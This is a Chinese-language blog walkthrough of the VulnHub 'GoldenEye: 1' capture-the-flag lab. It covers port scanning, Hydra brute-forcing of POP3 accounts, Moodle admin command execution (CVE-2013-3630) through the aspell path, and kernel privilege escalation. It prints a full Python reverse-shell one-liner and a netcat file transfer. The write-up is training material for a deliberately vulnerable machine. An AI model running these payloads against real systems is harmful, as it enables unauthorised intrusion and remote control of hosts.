VulnHub-GoldenEye: 1渗透学习

前言

靶机地址:https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova

靶机难度:中级(CTF)

靶机发布日期:2018 年 5 月 4 日

靶机描述:我最近完成了以伟大的詹姆斯邦德电影(甚至更好的 n64 游戏)GoldenEye 为主题的 OSCP 类型易受攻击机器的创建。目标是获得 root 并捕获秘密的 GoldenEye 代码 - flag.txt。

我将其评为中级,它具有获得 root 所需的多种技术 - 没有漏洞利用开发/缓冲区溢出。完成 OSCP 后,我认为这将是一个很好的练习,而且还有一点 CTF 的味道。

目标:得到root权限&找到2个flag文件

作者:我是小小白

时间:2021-07-13

请注意:
本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!

信息收集

主机发现

我们在VM中需要确定攻击目标的IP地址,可以使用netdiscover/nmap来获取目标主机的IP地址:

nmap -sP 192.168.1.0/24 -T5
参数解读:
	-sP : 用ping扫描判断主机是否存活,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping
	-T5: 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T5

端口扫描

我们已经找到了目标计算机IP地址:192.168.1.16

第一步是找出目标计算机上可用的开放端口和一些服务。因此我在目标计算机上启动了nmap全端口T5速度扫描:

nmap -sS -sV -sC -O -T5  -Pn -p- 192.168.1.16
参数解读:
	-A :启用-A选项之后,Nmap将检测目标主机的下述信息
        服务版本识别(-sV);
        操作系统识别(-O);
        脚本扫描(-sC);
        Traceroute(–traceroute)
	-sS/sT/sA/sW/sM:指定使用 TCP SYN/Connect()/ACK/Window/Maimon scans的方式来对目标主机进行扫描
	-sV: 指定让Nmap进行服务版本扫描
	-p-:进行全端口扫描
	-Pn:禁用主机检测(-Pn)
要进一步枚举服务,也可以使用nc连接到每个端口上。例如如下枚举 ssh和http服务的方式:

nc -nv 192.168.1.16 22

nc -nv 192.168.1.16 80

PORT

SERVICE

VERSION DETECTION

TCP: 25

SMTP

TCP: 80

HTTP

Apache httpd 2.4.7 ((Ubuntu))

PHP/5.5.9-1ubuntu4.24

TCP: 55006-55007

TCP

unkonw

目录枚举

gobuster dir -u http://192.168.1.16/  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 --random-agent 

发现/server-home,但是开启了认证;

指纹识别

访问80端口,查看开启的服务;

访问55006端口,发现是POP3服务;

漏洞发现

Nikto 扫描

nikto :开源的WEB扫描评估软件,可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等

nikto -h 192.168.1.16  -C all

扫描发现存在Apche默认文件 /icons/README,但是无法访问;继续查看网站首页的terminal.js文件中,发现账户信息:username: boris/natalya Password: InvincibleHack3r

漏洞利用

Hydra爆破

尝试使用获取的账户密码登录网站:http://192.168.1.16/sev-home/,发现只是一个静态页面,貌似发现了一些提示;

GoldenEye 是一个绝密的苏联轨道武器项目。由于您有权访问,您肯定拥有绝密许可并有资格成为认证的 GoldenEye 网络运营商 (GNO)

请向合格的 GNO 主管发送电子邮件以接收在线 GoldenEye 操作员培训,以成为 GoldenEye 系统的管理员

请记住,由于默默无闻的安全性非常有效,我们已将 pop3 服务配置为在非常高的非默认端口上运行

没有其他有价值的信息,这里尝试使用hydra进行下爆破;

hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.16 -s 55007 pop3

运气不错,爆破成功了一个pop3的账户密码:
[55007][pop3] host: 192.168.1.16   login: boris   password: secret1!

继续尝试爆破natalya账户测试;

hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.16 -s 55007 pop3


很有意思的是,natalya账户也爆破成功了密码:
[55007][pop3] host: 192.168.1.16   login: natalya   password: bird

User Name

Password

boris

secret1!

natalya

bird

让我们尝试使用这些凭据登录目标应用程序。我使用 Netcat 通过 pop3 端口并使用用户“boris”凭据登录到目标服务器。

nc 192.168.1.10 55007(使用 Netcut 在端口 55007 上连接到目标系统)
USER boris           (使用此命令输入用户名 boris)
PASS secret1!        (使用这个命令输入用户的密码。之后,我们收到了来自目标机器的成功信息,现在我们已经在目标系统上成功认证了)
LIST                  (用于列出目标系统上可用的所有电子邮件)
RETR		ID   					 (用户查看邮件内容)

发现3封邮件,查看邮件内容:

在上面的截图中,目标机器上的 root 用户向用户boris发送了一封电子邮件,指出 root 用户不会扫描电子邮件以查找安全风险。继续查看第二封电子邮件;

这封电子邮件来自用户natalya,声称她可以破解boris的密码。现在让我们检查第三封电子邮件。

在上面的截图中,我们可以看到有一封电子邮件,其中 GoldenEye 的访问代码作为附件发送,保存在根目录中。但是我们不能从这里直接读取到附件;

尝试使用natalya账户登录,发现有2封邮件;

在上面的屏幕截图中,我们可以在突出显示的区域中看到我们找到了一些有用的信息。还有另一组用户凭据,如下所示:

username: xenia
password: RCP90rulez!
Domain:	severnaya-station.com
Url: severnaya-station.com/gnocertdir

修改hosts文件,绑定IP和域名;

根据之前的密码和应用程序的提示,我们知道所有用户都在使用可以暴力破解的弱密码。因此,我再次使用 Hydra 实用程序为新识别的用户枚举密码。

hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.1.16 -s 55007 pop3

[55007][pop3] host: 192.168.1.16   login: doak   password: goat

username: dr_doak
password: 4England!

我开始探索该应用程序以寻找任何进一步的线索。找了一圈,又找到了一个文件;

在浏览器中打开图片文件;打开图片没有任何有价值的信息;

我下载了这张图片进行进一步分析,并使用 Kali Linux 的字符串实用程序列出了文件中的所有字符串,如下图所示:

使用base64解码文件:eFdpbnRlcjE5OTV4IQ==   
解码后:xWinter1995x!

Moodle Admin 用户远程命令执行漏洞(CVE-2013-3630 msf)

在moodle设置中,有一个用于配置系统路径的设置。Aspell 是可以安装在 Linux 上的拼写检查器,可以在 Moodle 中用于拼写检查操作。每当启动拼写检查操作时,moodle 将调用 Aspell 二进制文件。我们可以编辑 Aspell 的路径来获得一个反向 shell。下面是我使用的有效载荷。

使用管理员员登录后,我没有在应用程序中找到任何可能导致进一步利用的线索。但是在检查应用程序的时候,发现了一个应用程序名称是“Moodle”,尝试使用搜索引擎查看是否存在已知漏洞;

http://severnaya-station.com/gnocertdir/admin/environment.php

发现此版本有很多可用的漏洞。由于我们需要在目标机器上获得 shell 访问权限,因此我选择使用远程代码执行 (RCE) 漏洞。

msf > use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) > show targets
    ...targets...
msf exploit(moodle_cmd_exec) > set TARGET < target-id >
msf exploit(moodle_cmd_exec) > show options
    ...show and set options...
msf exploit(moodle_cmd_exec) > exploit

实测发现漏洞利用一直失败,也可能是我太菜了,姿势不是对;

Moodle Admin 用户远程命令执行漏洞(CVE-2013-3630)

命令执行的位置在"Settings"-->"Site administration"-->"Server"-->"System paths"-->"Path to aspell":

使用python进行反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.7",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

需要注意的是,这里需要手动触发下,具体方法为:在blog中新建文章,随便输入字符后调用拼写检查功能来获取反向 shell 连接;

提权

这里使用的是内核漏洞提权方法;

返回交互式shell:

python -c 'import pty; pty.spawn("/bin/sh")'

查看内核,操作系统信息

uname -a    打印所有可用的系统信息
uname -r    内核版本
cat /etc/lsb-release # Debian 

$ cat /etc/lsb-release
cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
$ uname -r
uname -r
3.13.0-32-generic
$ uname -a 
uname -a 
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

查找可能存在的漏洞;

我使用nc文件传输功能将37292.c文件上传到了目标机上。

客户端:
	nc -nv 192.168.1.16 < ofs
  
服务端:
	nc -lvvp 4444 > ofs

我们可以看到漏洞已在目标机器上下载到了37292.c文件,然后我用GCC编译器在目标机器上编译了这个exploit,但是目标机器上没有GCC编译器,编译会提示mot found gcc;

即使在其他机器上编译完再上传执行也是会报错,如下所示:

由于 GCC 在目标机器上不可用,我修改了漏洞利用方式,将gcc编译修改成了cc编译;

编译有报错,但是不影响执行;

在root目录下成功获取到了flag;(根据挑战的描述,目标是从目标机器上获取两个标志),这里我们也获取到了另外一个flag的提示;

访问连接:http://severnaya-station.com/006-final/xvf7-flag/

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值